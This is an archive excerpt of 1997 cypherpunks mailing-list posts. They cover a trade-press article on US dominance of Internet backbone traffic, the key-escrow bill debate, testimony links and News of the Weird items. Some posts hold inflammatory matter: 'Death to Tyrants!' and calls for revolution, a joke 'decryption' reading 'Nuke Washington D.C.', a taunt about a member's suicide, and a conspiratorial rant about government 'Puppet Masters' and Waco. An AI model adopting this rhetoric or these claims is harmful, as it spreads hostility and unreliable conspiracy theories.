   
                (c) Copyright 1997 The Washington Post Company
                                      
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sun, 7 Sep 1997 07:20:15 +0800
To: cypherpunks@Algebra.COM
Subject: tdc0997globe.html
Message-ID: <199709062313.TAA18510@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   #[1]HOME [2]COPYRIGHT
   
   [3][ISMAP]-[4][USEMAP] September
     _________________________________________________________________
   
World Wide Weight

     America's dominance of the Internet isn't just a cultural issue. It
     could pose an infrastructure nightmare. 
     
   
    By Andreas Evagora.
    Andreas Evagora is international editor for tele.com. He can be
    reached over the Internet at [5]aevagora@mcgraw-hill.com.
    
   The year is 1962. At a White House conference, aides warn President
   John F. Kennedy that the newly emerging global phone network isn't
   really global at all. Kennedy is told that almost every
   intercontinental phone call is funneled through the United Kingdom or
   one of the other former colonial powers, and that those countries
   control the lion's share of international cables. Fearing that the
   United States will be powerless in the new telecom era, the Kennedy
   administration decides to create Intelsat, an international satellite
   system that would quickly end the domination of the old powers over
   the global telecom network.
   
   Fast forward to 1997. International service providers find that the
   newly emerging global Internet isn't really global at all. Reports
   tell them that more than half of intra-European and intra-Asian
   traffic is funneled through the United States. Once predictable
   traffic patterns are going haywire, rendering established
   technological and economic models irrelevant.
   
   Right now, there is no Intelsat on the horizon to save the day for
   telecom providers outside the United States. In fact, far from
   globalizing, all the signs are that Internet backbone
   infrastructure--and the traffic running on it--will become even more
   U.S.-centric over the next few years. This isn't just about U.S.
   domination: Non-U.S. service providers are contributing greatly to the
   imbalance by hatching plans to add new capacity to the States rather
   than to other countries in their region. Underpinning that trend is
   the concentration of content in America (more than eight of 10 Web
   sites are in English) and the continued high price, poor quality, and
   lack of easily available infrastructure outside the United States.
   
   The increased concentration of infrastructure and traffic into the
   United States not only works against the distributed philosophy of the
   Internet but also threatens to endanger the 'Net's international
   growth and overwork the U.S. backbone to the point of exhaustion. "The
   Internet today is a hub-and-spoke system, with the U.S. at the center
   of the entire world," says Neil Tagare, chairman of CTR Group Ltd.
   (Woodcliff Lake, N.J.), which plans to build a new global fiber
   cabling network linking 175 countries. "That's not right,
   technologically or politically."
   
   Already, service providers report that Internet links to the U.S. are
   straining to stand up to growing traffic volumes, while demand for
   other regional and intercontinental links remains tepid. Around the
   globe, U.S.-bound capacity is at a premium, with developing nations
   clinging onto the 'Net by a thread. If they are lucky, Russia's 150
   million people will share 40 Mbit/s of international Internet capacity
   by next year. Today, India--a nation of 900 million--has just 10
   Mbit/s of Internet capacity to the U.S.--about as much available on a
   LAN supporting a few dozen workers in the United States. "The lack of
   non-U.S. infrastructure is holding back real growth of the 'Net in
   many regions," says Petri Ojala, technical director of the Finnish
   Commercial Internet Exchange (Helsinki, Finland). "If a regional
   Internet community is short of capacity, it simply cannot develop as
   it wants. Less capacity means less content, less innovation."
   
   If Internet infrastructure continues to be concentrated in the United
   States, some fear that the whole non-U.S. high-tech sector will be in
   grave danger. Because the 'Net is becoming a critical tool for
   software development, a concentration of capacity in the States might
   lead to a concentration of innovation there as well. To be sure, it's
   difficult to see how India's enormous software development industry
   can prosper with 'Net access that is far inferior to that of
   competitors in the United States.
   
   A few 'Net watchers warn that failure to address the Internet
   imbalance could put some nations at a political disadvantage as well.
   "What if a new U.S. government wanted to leverage its control of the
   Internet for political ends?" asks one executive at a non-U.S.
   Internet service provider. "If it wanted to embargo Cuba, it could use
   its influence to control Internet communications there."
   
   But the outlook for regional backbones is less than bright. Such
   networks are all but absent in Asia-Pacific, Latin America, and
   Africa, while backbones in Europe, where the World Wide Web was
   invented, offer no more than 2 Mbit/s of bandwidth (see
   [6]"Un-American Activities"). Compare that with backbone construction
   in the United States, where today's typical 622-Mbit/s backbones are
   expected to double in capacity next year.
   
   Interregional Internet connections also are sorely lacking. Almost
   every byte of traffic between continents passes through the United
   States, hopping over at least two backbone links on the way.
   Concurrently, non-U.S. network access points (NAPs), where Internet
   service providers exchange traffic, are small in both number and
   processing capacity. "If you were to squint at a map of the global
   Internet infrastructure, all lines would roll into the U.S.," says
   Robert Hagens, director of Internet engineering at MCI. "That's not a
   good way to build a network."
   
   Service providers have never quite faced anything like this before.
   Exponential demand for traffic to the United States is soaring, but
   investing more in these routes doesn't add significantly to the bottom
   line (some phone companies that are also Internet providers offer free
   local calling--and therefore free local access--to the Internet but
   still need to add extra capacity), and it only increases the
   dependency on the U.S. backbone. "Carriers are in a chicken-and-egg
   situation," says Chris Champion, senior consultant at The Yankee Group
   Europe (Watford, U.K.). "They only want to invest where there is a lot
   of traffic, but there won't be enough traffic until they upgrade the
   backbones."
   
   EUNet International B.V. (Amsterdam), the European backbone operator,
   this month is increasing its U.S.-bound capacity by 34 Mbit/s, to 72
   Mbit/s, to meet demand. But its intra-European backbone network, which
   comprises mainly 2-Mbit/s links, faces no capacity crunch. "We don't
   have any [intra-European] congestion problems whatsoever," says Wim
   Vink, the company's managing director.
   
   The problem is, the global Internet is running headlong into an
   international infrastructure regime that actually is causing
   congestion on intercontinental routes. Capacity planning and demand
   forecasts on these routes have been designed largely by monopolies
   around the predictable needs of a staid, 5 percent a year growth in
   traffic. Phone companies traditionally buy capacity on
   intercontintental cables 20 or 25 years ahead of time. That's not a
   strategy suited to the Internet; who knows what will happen when
   bandwidth-hungry voice and multimedia applications pile onto the 'Net,
   as they are expected to in coming years?
   
   Service providers already are feeling the tremors (see [7]"Borne in
   the U.S.A."). In the summer of last year, Internet traffic from Sweden
   to the United States was about half the volume of voice traffic
   between those two countries. By the end of 1996, data and voice
   traffic volumes on the Sweden- to-U.S. route were equal, and now data
   volume is double that of voice. Meanwhile, voice still accounts for
   the vast majority of traffic to neighboring Finland and Denmark.
   
   Traffic patterns between the world's two biggest economies also signal
   the changes that lie ahead. Kokusai Denshin Denwa Co. Ltd. (KDD,
   Tokyo), Japan's dominant international carrier, has 10 Mbit/s of
   Internet capacity to the United States and 15 Mbit/s to the rest of
   Asia. Yet the ratio of Internet traffic to the United States and to
   Asia is 8 to 1. "The situation is changing very quickly," says Hiroshi
   Kobayashi, the carrier's deputy director of Internet business. "Two
   years ago, the total ratio of traffic flow from the U.S. to Japan was
   4 to 1. Now, it is only 2 to 1." That means Japan is sending
   proportionally more traffic to the United States--a traffic shift
   directly attributable to the growth of the Internet.
   
   In Australia, Telstra Corp. Ltd. (Melbourne) is dealing with a
   U.S./Asia Internet traffic ratio of about 6.5 to 1. "I can deal with
   the 1--it's the 6.5 that is the problem," jokes John Hibbard, managing
   director of international carrier business. Telstra now has 130 Mbit/s
   of Internet capacity to the United States, compared with 2 Mbit/s to
   the rest of Asia. Still, Hibbard says of the U.S. route, "We will see
   a big squeeze in 1998." As a measure of just how high demand for
   bandwidth to the United States has been driven, Hibbard notes that
   bids for the 1,000 or so 2-Mbit/s circuits on the new transpacific
   TPC-5 cable, due to come into service at the end of this year, were
   oversubscribed by nearly four times. "The Asia-Pacific region must
   reduce its dependency on the United States to ensure that the quality
   of service is not dependent on the U.S. link, which is frequently
   congested," Hibbard says.
   
   That overdependency is creating an economic as well as a technical
   fallout. Non-U.S. carriers are investing in extra capacity to the
   United States, without seeing returns on that investment in terms of
   extra revenues. As a result, many international carriers--Telstra
   included--complain that in paying the full cost of circuits to the
   States, they are effectively subsidizing the U.S. Internet community.
   They argue that U.S. service providers should pay for at least a
   portion of those circuits.
   
   In the traditional telephony world, international circuits are
   provided on a shared-cost basis, with each carrier meeting costs to a
   theoretical midpoint between two countries. Telstra and its supporters
   want such principles to be looked at--although not necessarily applied
   fully--in discussions about the Internet.
   
   This year, Telstra will lose US$10 million on providing Internet
   circuits to the United States. By 2000, the total spending on
   U.S.-bound Internet circuits from all non-U.S. service providers will
   reach US$2.5 billion, Hibbard notes. "We are providing resources for
   which we are not adequately compensated," he says. "At the same time,
   I am offering U.S. users access to Australian databases without
   getting a brass razoo." Hibbard explains that traffic from the United
   States to Australia gets a free ride, as U.S. service providers aren't
   contributing to the international connection.
   
   International service providers are lobbying U.S. regulators for
   compensation. "When people first started connecting to the Internet,
   that normally meant they were connecting to America, and as a result
   had to pay for the connection," says Michael Behringer, senior network
   engineer at Dante (Cambridge, U.K.), which operates the EuropaNet
   Internet backbone. Until recently almost all Internet content has
   resided in the United States, so it was fair for overseas providers to
   pay the bill for access to that content, Behringer reasons. But for
   Internet content to become truly global, payments should be more
   equitable, and non-U.S. service providers should not have to bear 100
   percent of the payment burden, he says.
   
   A group of Asia-Pacific carriers, including KDD and Telstra, has
   already made a proposal to the U.S. Federal Communications Commission
   that such Internet circuit fees should at least be taken into
   consideration during discussions on accounting rates, the fees paid by
   one carrier to another for delivering an international telephone call.
   To give their argument on leased lines to the United States more
   ammunition, several Asian carriers recently agreed to share the cost
   of international leased circuits for Internet communications between
   their own countries. The matter has also been raised at meetings of
   the Group of Seven (G7) nations. But so far, U.S. officials have
   rejected the complaint, and international officials don't seem to hold
   out much hope of success. "The Americans are sympathetic, but I doubt
   if they'll do anything because they don't have to," Behringer says.
   
   Carriers that offer free local calls, such as Singapore Telecom Ltd.
   and Telstra, are the most eager for change as they recoup little or no
   revenue when users access local servers to tap the global Internet.
   They argue that the Internet needs to be put on a more commercial
   footing. In Singapore, 65 percent of all 'Net traffic passes through
   the United States. "Because of the high cost of international
   bandwidth, it actually would cost a user US$100 an hour to connect to
   the Internet with a 2-Mbit/s link if he was paying the real commercial
   rate to the U.S.," said Tan Boon Tiong, deputy director of network
   technology development at Singapore Telecom, speaking at the
   International Telecommunication Union's Asia Telecom conference in
   June.
   
   Service providers point to other factors holding back the
   globalization of Internet infrastructure, such as the high cost of
   maintenance, installation, and operation and a lack of human
   resources. But many independent Internet service providers say that
   old-line telecom operators are hardly covering themselves in glory as
   the 'Net spreads its tentacles. Independent service providers and
   builders of backbones say that high leased-line costs remain the
   single biggest factor holding back the expansion of regional backbones
   that could help keep more Internet communications away from the United
   States. Lack of competition and a scarcity of infrastructure,
   particularly cross-border links, continue to keep leased-line prices
   in Europe three to 10 times more expensive than equivalent lines in
   the United States. Service providers say that they must wait up to
   five months for a cross-border E3 (34-Mbit/s) line, where such service
   exists.
   
   Ironically, it's the traditional telcos, which set those high prices,
   that are gradually taking over the operation of pan-European Internet
   backbones. "European carriers are schizophrenic," concedes one
   official at an international carrier alliance. "They will cry about
   lack of liberalization in another country but do all they can to delay
   liberalization in their own market as long as possible. That's human
   nature."
   
   That human nature is only serving to encourage the flow of 'Net
   traffic and facilities to the United States. "Dante's backbone took 18
   months to organize and two years to turn into a reality," Behringer
   says. "That delay was far too long and was mostly caused by arguing
   with telcos."
   
   It's not just high leased-line prices that anger independent ISPs.
   Deutsche Telekom, now Europe's largest ISP, still refuses to peer its
   network at Frankfurt's commercial NAP, where more than 25 independent
   German ISPs exchange traffic. Instead, Deutsche Telekom maintains a
   single peering deal with Deutsches Forschungsnetz (DFN), a scientific
   and academic network. That lack of domestic peering means that all
   communications between Deutsche Telekom and other German ISPs must be
   routed via the United States.
   
   "Peering via the U.S. affects Deutsche Telekom customers and our
   customers because of the delays on U.S. lines, which are normally
   saturated," says Thomas Bastian, senior technical director at CERFnet
   Germany Inc. (Frankfurt), the German unit of U.S. ISP TCG CERFnet (San
   Diego). In response, he says, all independent ISPs have announced that
   they will cancel any private peerings with DFN as of this coming
   January.
   
   "We are confident that things will change, but everything takes so
   long in Europe," Bastian says. "Our U.S. operation connects into NAPs
   at 155 Mbit/s, but here in Germany it's at 2 Mbit/s. It's very
   expensive just to set up a system, and those costs are inevitably
   passed on to users, which slows market development."
   
   Until more capacity is made available, there's not much chance that
   the global Internet's dependency on the United States will fade away.
   CTR Group's Tagare, a former executive at Nynex Network Systems
   (Bermuda) Ltd.--one of the founders of the FiberOptic Link Around the
   Globe (FLAG) project building a new global undersea cable--says that a
   lot of capacity remains warehoused to block competition. "Active
   capacity is no more than 50 to 60 percent of the bandwidth out
   there--the rest is warehoused," he says. "The people who need capacity
   desperately can't buy it because none is available, while those that
   have it can't use it because they don't have sufficient demand for it.
   That's an extremely inefficient model."
   
   WorldCom International Inc. (New York), another company planning to
   lay new international cabling, also places much of the blame for the
   current malaise at the door of incumbent telcos, in particular for
   failing to spot the tide of demand for data communications. WorldCom
   International says that voice today accounts for 80 percent of
   international traffic, but will make up only 20 percent by the early
   part of next decade.
   
   "Terabyte requirements will soon be upon us, but carriers got caught
   asleep making cozy, 4 percent growth demand forecasts," says Colin
   Williams, the company's international executive vice president.
   "Today, 90 percent of Internet traffic goes to the U.S., but we
   haven't yet scratched the surface of bandwidth requirements across the
   Atlantic."
   
   Translation: Don't expect a truly global Internet anytime soon.
   
   Text Menu
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References

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   6. http://www.teledotcom.com/0997/features/tdc0997globe.side1.html
   7. http://www.teledotcom.com/0997/features/tdc0997globe.side2.html
   8. http://www.teledotcom.com/
   9. http://www.teledotcom.com/toc/tocindex.html
  10. http://www.teledotcom.com/business/businessindex.html
  11. http://www.teledotcom.com/technology/techindex.html
  12. http://www.teledotcom.com/supply/supplyindex.html
  13. http://www.teledotcom.com/soapbox/soapindex.html
  14. http://www.teledotcom.com/staff/us.html
  15. http://www.teledotcom.com/tdcbackissues.html
  16. http://www.McGraw-Hill.com/corporate/copyrttm.htm
  17. mailto:msacca@compugraphia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 7 Sep 1997 08:35:08 +0800
To: cypherpunks@Algebra.COM
Subject: A helluva way to run a country, er, a world (fwd)
Message-ID: <199709070027.TAA23530@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Prof. Sternlight, do you admit that you were wrong?

Please share your thoughts with cypherpunks@algebra.com

Thank you.

igor

----- Forwarded message from Tim May -----

>From owner-cypherpunks@Algebra.COM  Sat Sep  6 12:06:52 1997
X-Sender: tcmay@mail.got.net
Message-Id: <v03102809b03734c24855@[207.167.93.63]>
In-Reply-To: <970906105358_284527778@emout18.mail.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 6 Sep 1997 09:41:38 -0700
To: cypherpunks@Algebra.COM
From: Tim May <tcmay@got.net>
Subject: A helluva way to run a country, er, a world
Sender: owner-cypherpunks@algebra.com
Precedence: bulk
X-Mailing-List: cypherpunks@algebra.com
X-List-Admin: ichudov@algebra.com
X-Loop: cypherpunks@algebra.com


At 7:54 AM -0700 9/6/97, Syniker@aol.com wrote:
>In a message dated 97-09-06 07:15:18 EDT, vznuri@netcom.com (Vladimir Z.
>Nuri) writes:
>
><< maybe I'm not following closely enough, but I haven't seen a *single*
> reference. that's really eerie. can't we get a *single*
> senator to bring up that issue? >>
>
>me neither... it's fucking mind-boggling....
>and where's all the 'censorship' people????
>it's like -- no one can make the 'connection' ....
>the CDA and FCA lists are dead ... not a word ...
>how can we all have wet powder at the same time?

I didn't see Detweiler's original message ('til just now), but I think this
is wrong, the "I haven't seen a *single*  reference" (to the
constitutionality of mandatory key escrow).

In some of the accounts of the Freeh-Feinstein-etc. colloquy, there were
mentions that mandatory key escrow probably would be desirable, but
probably not be possible. (I took this to mean they, including Freeh,
recognized it would be unconstitutional).

Of course, then the draft text of the GAK bill floated by the next day, and
it of course contained no references to constitutionality (not
surprisingly, as draft bills are not self-analyses).

Despite my cynicism, I'd expect the courts to issue an immediate stay on
enforcement on such a law, as happened with the CDA. With probably an
expedited hearing before the Supreme Court. As so many have noted, it seems
to be a slam dunk infringement on the right to speak freely and in whatever
language one wishes. And some 4th and 5th and other involvements.

It may be a stalking horse. A threat. Designed to force a compromise. "If
you don't pass McCain-Kerrey, this is what you'll get."

A helluva way to run a country, er, a world.

But look on the bright side: the militias and other patriot groups are
getting a huge bounce out of this. Stay far away from the nests of vipers.
Jefferson's wisdom that we need a revolution every generation or so is
apt...though it's been about 180 years too long.

Now even those, like Sternlight, who claimed the government would never
require key escrow, have to admit we were right all along.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




----- End of forwarded message from Tim May -----


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 7 Sep 1997 08:03:33 +0800
To: cypherpunks@toad.com
Subject: BXA Testimony at SAFE Hearing
Message-ID: <1.5.4.32.19970906234350.00705f64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



See William Reinsch's testimony on the administration's 
encryption policy at the September 4 SAFE hearing:

   http://jya.com/bxa090497.htm

Perhaps dissimulating, or not then clued to the draft GAK bill,
Reinsch states:

1. Foreign crypto products are not as widely available as export
control critics claim, and thus do not threaten US products.

2. The administration is against mandatory key escrow.

3. Finds the SAFE bill unhelpful but likes its crypto-criminalization
provision and favors McCain-Kerrey's Secure Public Network 
Act bill or other legislation that will:

  Expressly confirm the freedom of domestic users to choose 
  any type or strength of encryption.

  Explicitly state that participation in a key management 
  infrastructure is voluntary .

  Set forth legal conditions for the release of recovery 
  information to law enforcement officials pursuant to lawful 
  authority and provide liability protection for key recovery 
  agents who have properly released such information.

  Criminalize the misuse of keys and the use of encryption to 
  further a crime. 	  

  Offer, on a voluntary basis, firms that are in the business of 
  providing public cryptography keys the opportunity to obtain 
  government recognition, allowing them to market the 
  trustworthiness implied by government approval.

----------

Leads to the testimony of NSA's Cowell and Justice's Litt would
be appreciated.

Representative Weldon remarked at length about encryption and
defense matters on September 4, supporting the administration's
policy:

   http://jya.com/weldon.txt  (46K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 7 Sep 1997 04:05:43 +0800
To: cypherpunks@toad.com
Subject: Re: EFF $10,000,0000 Challenge
Message-ID: <yy2CK0Yr+wSln/+IminsfQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> At 17:31 05/09/97 GMT, bureau42 Anonymous Remailer wrote:
> >-----BEGIN PGP MESSAGE-----
> >Version: PGP for Personal Privacy 5.0
> >MessageID: od2CIT3fELE7K6bkIkKGJBj0MPUJ2TT8
> >
> >hQCMA6ozRjzmqceZAQQAh02x0Dxer5vzZiSJ+v7bnMZQdgp425z5OH0NF/f/mXXc
> >vInw+UsuTXqWNEV5rEQKYjU3qHoe6suCz5f9hEEnOIBacsD28pYU4ahkGOCTuTY6
> >N3xKrtDRqLPInB8PY7Kfd56jjQsVVRKmJBwXqHbPax4YyUB6ZbKKvSPiuUsAAQSl
> >BAH3CFNKcmYjf+VtpjAVOpDNM/PMm1e6m33rZ01Sq6pXC0TTabCf7hkWscet0PCL
> >VX0l1Zw5IKaFqo+pZ3EICRMF6HQrc30G7L9TFeKr//3YsO3/bC4VBgNQHA0qf2nD
> >ldxAsTGPlRthBTxrzE0LjeOKi/pQOLXQMPQUwEIaL9rncjFgniplFoL6Nj0guJvW
> >VvS+gxth8hpeWss7WlFFioV0vShsS/lahA+eg/9nVy8ken8pr4m484w2vwoiSdce
> >CarVigVaRh6tCgh0jub7CHuDFg==
> >=Q9+G
> >-----END PGP MESSAGE-----
> >

I have brute-forced this message with my NSA-surplus CrayVax (TM) and
determined its contents are as follows:

Nuke Washington D.C.  Now.  Please.  Do it for me.
 -- TruthMonger

To the EFF (Electronic Forgery Foundation): Please get in contact with me via
the remailer network for instructions on where to send my $10M.

Here's my PLP key:

-----BEGIN PLP PRIVATE KEY-----
Version: Pretty Lousy Privacy v6.66
Comments: No Comment

UPghm21YcptuKTiUHPwTn4xSjMKfsfVDRKwKWtx1teuauHiM/IBzWMH5+nhxhVjO
gOuUIXkcJXcjr1yG2QVGWLJndKBHC3wI/eRC5zYaQGwtz97hpQ9iAJl9hpIYoeKi
R/Qe8eC8vQnyOCx7Gare+OuoqLRJj5IvvS3BDShb1mr3s3U1LVEhmI9kS5br6NWY
V1J3l2hCk8cdqDRZmgjUoq32mAwK/vTbijCg5Yk1CCkXO3mvia3rNeVdrYJ3/Pv9
t2jHIlAL0qAyJQMdz2qFcmvLOxB3ZiZhA+VYDaeXZ5TZNEz/K+TSU8brMInfaUKi
P/R/4YerdYjN8/10xz/j/gJjgIkEddToUYjt2VQDv8E/xcXT0YJZhNWIT/u+MHVF
ns9RWIH5J+UxcKPUPjDB7WvuO4+WvoT5xCtPbQhUlpuJrDfWLCjUd6orzovr6yZx
HcxBSl8EGy4oULWi5ztrw1fyXm4AmpDB5QNgmWcILIbWNDOAePqxvrAjJEhLHQar
y6eHYoL/nuOQonZsB66DhXnlXSghBGp+sNs3XXIOkKHtbPk1jqT9MHg9oe7OwiA4
mcQUpM3XKOPUXcMwEtRzDJnIaeZo3xbwRnmdSaGAyPujFJdz58QLHOte2pcSAkrA
Jtrs+SrhZw==
=zXsO
-----END PLP PRIVATE KEY-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 7 Sep 1997 10:14:06 +0800
To: cypherpunks@toad.com
Subject: Re: Cpunks War Dance, Feinstein Hari-Kari
In-Reply-To: <v0310280cb0378a5c64cd@[207.167.93.63]>
Message-ID: <3412098A.57BF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> >A Patent Falls, and the Internet Dances
> >
> >By Peter Wayner
> >
> >>From the beginning, though, patent 4,200,770 was different. This
> >Saturday night a group of computer scientists, Internet fanatics and
> >Beltway politicos will gather in Washington, D.C.; Silicon Valley; and
> >Boston to celebrate the end of the patent granted to Whitfield Diffie
> >and Martin Hellman for a way to encrypt data.
 
> Sounds to me like this reporter helped manufacture the news.....
> 
> The more things change, the more they remain the same.
> 
> And puppets still dance....

Tim,
  I told Peter Wayner about your plans to commit suicide tonight.
He's already written a story for tomorrow, and he wants to know
if you're going to do it, or let him down and make him look like
an idiot.

The 1/2MONGER





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 7 Sep 1997 10:44:31 +0800
To: cypherpunks@toad.com
Subject: 4 Horsemen - 1  Child Citizen - 0 / (Where are Lous Freeh and Janet Reno when you really need them?)
Message-ID: <34120BD6.4DC6@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



WEIRDNUZ.493 (News of the Weird, July 18, 1997)
by Chuck Shepherd

* In May, the Minnesota Court of Appeals reversed a $1 million
award by a jury that had found parishioner Dale Scheffler, 30, to
have been molested at age 14 by Catholic priest Robert Kapoun,
finding that Scheffler's lawsuit was barred by the statute of
limitations.  Two weeks later, the Archdiocese of St. Paul and
Minneapolis announced that it had filed with the court a claim of
$4,937 against Scheffler to recover part of its legal expenses since
the Archdiocese is now regarded as the winning party.  Father
Kapoun filed for $1,081.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 7 Sep 1997 10:44:00 +0800
To: cypherpunks@toad.com
Subject: Oxygen Escrow (Government Regulations soon to be announced!)
Message-ID: <34120D94.2AC7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>From NotW:

* Bangkok's largest English-language newspaper, The Nation,
reported in February on a raging war by coffin sellers in the
southern Thailand city of Nakhon Si Thammarat.  Eight shops are
located across the street from the city's largest hospital, and bribes
of hospital personnel for clients are common.  A television station
reported that one shop's agent sneaked into several hospital rooms
to disconnect oxygen to terminal patients whose relatives were
already known to the shop and thus might have given that shop
their business.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 7 Sep 1997 10:43:07 +0800
To: cypherpunks@toad.com
Subject: The future of Digital (Ouch!) Implants
Message-ID: <34120EB4.1DBA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



NotW:

* An April issue of New Scientist magazine reported that
Australia's national research organization CSIRO has already made
three sales of its "phalloblaster" device (at about $3,500 [U.S.])
that inflates the genitalia of dead insects to make it easier to
classify
them.  Its official name is the "vesica everter," and it will work on
genitalia as small as those of moths with wingspans of 2 millimeters.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 7 Sep 1997 10:43:47 +0800
To: cypherpunks@toad.com
Subject: Texas CypherPunks Take Up Arms!
Message-ID: <3412120F.1C48@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



We need to thank Jim Choate for his tireless efforts in this regard.

* According to USA Today in May, a bill pending in the Texas
legislature would allow anyone with a record of mental illness
nonetheless to obtain a concealed weapon permit if approved by a
doctor. 

http://www.nine.org/notw/notw.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Irwan Hadi <phoenix@cutey.com>
Date: Sun, 7 Sep 1997 00:18:48 +0800
To: bureau42 Anonymous Remailer <cypherpunks@toad.com
Subject: Re: EFF $10,000,0000 Challenge
In-Reply-To: <2C5khz1Qq/5Whpq4Zl9wkQ==@bureau42.ml.org>
Message-ID: <3.0.3.32.19970906213620.04c47ccc@mail.bit.net.id>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 17:31 05/09/97 GMT, bureau42 Anonymous Remailer wrote:
>-----BEGIN PGP MESSAGE-----
>Version: PGP for Personal Privacy 5.0
>MessageID: od2CIT3fELE7K6bkIkKGJBj0MPUJ2TT8
>
>hQCMA6ozRjzmqceZAQQAh02x0Dxer5vzZiSJ+v7bnMZQdgp425z5OH0NF/f/mXXc
>vInw+UsuTXqWNEV5rEQKYjU3qHoe6suCz5f9hEEnOIBacsD28pYU4ahkGOCTuTY6
>N3xKrtDRqLPInB8PY7Kfd56jjQsVVRKmJBwXqHbPax4YyUB6ZbKKvSPiuUsAAQSl
>BAH3CFNKcmYjf+VtpjAVOpDNM/PMm1e6m33rZ01Sq6pXC0TTabCf7hkWscet0PCL
>VX0l1Zw5IKaFqo+pZ3EICRMF6HQrc30G7L9TFeKr//3YsO3/bC4VBgNQHA0qf2nD
>ldxAsTGPlRthBTxrzE0LjeOKi/pQOLXQMPQUwEIaL9rncjFgniplFoL6Nj0guJvW
>VvS+gxth8hpeWss7WlFFioV0vShsS/lahA+eg/9nVy8ken8pr4m484w2vwoiSdce
>CarVigVaRh6tCgh0jub7CHuDFg==
>=Q9+G
>-----END PGP MESSAGE-----
>

Hey if you want really to crack the message, GIVE US YOUR Public key, 
which use to encrypt it, from it. we can calculate the factor and 
open it.

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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA+AwUBNBEH9FFJDOlka9UjEQKl7wCgvRd8b0cZqzN0FAN7DBWAo71oOmoAmIg6
Hc7yhtsdpZpv6sbhqyVk9ok=
=byDp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 7 Sep 1997 10:18:09 +0800
To: cypherpunks@toad.com
Subject: Re: Puppet Masters
Message-ID: <9b9319bba8770ed27d7bb269b97ef995@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




Sunday, September 07, 1997 - 03:16:32 MET

> > i am getting a very bad feeling that maybe the level of inside/outside
> > censorship of the press may be a good indicator, like the Doomsday 
> > Clock, of how close we are to the day when the Puppet Masters finally
> > step out from behind their masks.
> 
> 	Puppet Masters don't step out from behind thier masks.  They have
> someone else step out for them.
> 
> ~kp


-Creeping encrouchment-Puppet Masters Get Increasingly 
Bold-

With each succeeding assault on the constitutional rights of citizens 
the gov't  both tests and increases the public's willingness to give 
away those rights. As we sit idly by,  parlor intellectualizing, 
anyone who really dares to organize,  gets fried, on national tv for 
the trouble.

Make a timeline from the first live at 5 fry of the 'bad guys' in the 
70s, to the present and observe the circumstances surrounding each 
one.

When they started this- judged on television, fried on television- 
brainwash, they at least tried to put on a semblence of 
justifiability,..ie SLA," kidnappers, bankrobbers,thugs disguised as 
mad dog radicals"..etc and went to great lenghts to see that the 
point was well propagandized to the 'people' and that the 'people' 
accordind to neilson or gallup or somebody, were in consensus and 
then 'puff'', charcoaled the constitution with human kindling before 
EVERYBODIES eyes.

A few op ed pages later, with no real political or social fallout. 
They decide to do it again, and then do it again, upping the ante 
each time.. .the Order, Mt. Carmel, Weaver, etc

...By the time they do the Davidians, they offer specious 
reckless charges that were never substantiated and in fact were 
easily discredited and 85 people burned alive on national tv. people 
who were never charged with any crime-when federal goons 
attempted to serve a specious search warrant as if they were 
marching into lebenon.

The militias of today are saying and doing what the Panthers 
advocated 25 yrs ago. Though each of these groups  held to 
radically different ideologies, the common denomionator is they took 
a stand against an illegal abuse of local and federal power by 
organising into a community of interests that was prepared to defend 
it's right to do so against outside intrusion, and that is whatthe 
puppet masters would not tolerate.

They aren't going to come jackbooting into our cities and towns. 
They are already there, shoving plungers up our ass when they don't 
like the way we look.  They isolate any pocket of dissension (and 
to dare to organize into a community is to dissent) , whether it is 
black, white, christian, islamic or whatever,..can you say 
"cypherpunk".. and burn them out of existence, putting it on tv as an 
object lesson for the rest of us,

The local police, the military, both houses, the administration and 
all the various goon squads are all pigs drinking from the same trough. The presidential elections are a
tv show designed to give us the illusion of a democracy. Its no
accident that the houses reconvene with the new tv season. It is all
for mind control nothing else.

Now I am no christian fundementalist, white supremicist, black power 
fanatic or anything else; just an average person trying to live my 
life simply and freely but the only way things will change is when we 
the 'coach potato sheeple' including intellectual armchair quarterbacks
